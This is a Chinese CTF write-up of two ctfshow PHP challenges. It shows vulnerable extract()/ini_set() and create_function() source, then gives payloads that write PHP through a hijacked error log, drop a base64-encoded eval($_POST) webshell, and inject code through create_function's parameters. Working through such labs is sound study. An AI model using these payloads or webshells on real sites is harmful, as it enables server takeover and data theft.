CTFSHOW红包题目

红包7

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2023-08-08 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2023-08-08 00:26:48
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


highlight_file(__FILE__);
error_reporting(2);


extract($_GET);
ini_set($name,$value);


system(
"ls '".filter($_GET[1])."'"
);

function filter($cmd){
$cmd = str_replace("'","",$cmd);
$cmd = str_replace("\\","",$cmd);
$cmd = str_replace("`","",$cmd);
$cmd = str_replace("$","",$cmd);
return $cmd;
}

这里是第一次见到了extract函数,百度之后知道了是一个赋值函数,主要用于变量覆盖方面

image-20230813202700381

大致意思就是

1
2
3
4
5
我们传入:
?name=value
结果为:
$name=value
name进行了一波赋值

ini_set()函数可以对php.ini进行配置,看了wp之后知道这题是需要更改报错日志路径进而写入恶意命令

1
2
3
4
5
payload1:
?name=error_log&value=/var/www/html/1.php&1=%00<?php system("cat /f*");?>
这里还用到了一个技巧,系统命令可以使用%00进行截断,进而触发报错,而报错会把所有的报错信息全部写入报错日志当中,而我们可以通过ini_set修改报错日志的储存路径,进而实现了恶意命令的写入。类似于包含日志。
payload2:
?name=error_log&value=/var/www/html/2.php&1=%00<?php system("echo 'PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTsgPz4=' | base64 -d > /var/www/html/chu1.php"); ?>

红包8

源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2023-08-08 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2023-08-08 00:26:48
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


highlight_file(__FILE__);
error_reporting(0);

extract($_GET);
create_function($name,base64_encode($value))();

这道题目主要考察的是create_function()的做法,之前接触过两个相关题目,不过都是在第二个参数上做文章,多次测试之后发现由于base64编码的限制似乎无计可施,尝试所有该编码函数的漏洞,没查到。最后一招,摇人。得到了payload,后续网上搜得到了以下博客:https://blog.csdn.net/soldi_er/article/details/116244642?csdn_share_tail=%7B%22type%22%3A%22blog%22%2C%22rType%22%3A%22article%22%2C%22rId%22%3A%22116244642%22%2C%22source%22%3A%22m0_74044466%22%7D&fromshare=blogdetail

这里是在第一个参数上做文章,举例

1
2
3
4
5
6
7
8
9
10
11
12
13
create_function("$a=123","return 1;")

该函数处理之后将会得到以下匿名函数

name1($a=123){
return 1;
}

这里我们就可以在第一个参数的位置进行闭合
name=$name=123){}phpinfo();/*
这个时候就可以执行任意php代码啦
?name=$name=123){}system("cat /f*");/*&value=1
得到flag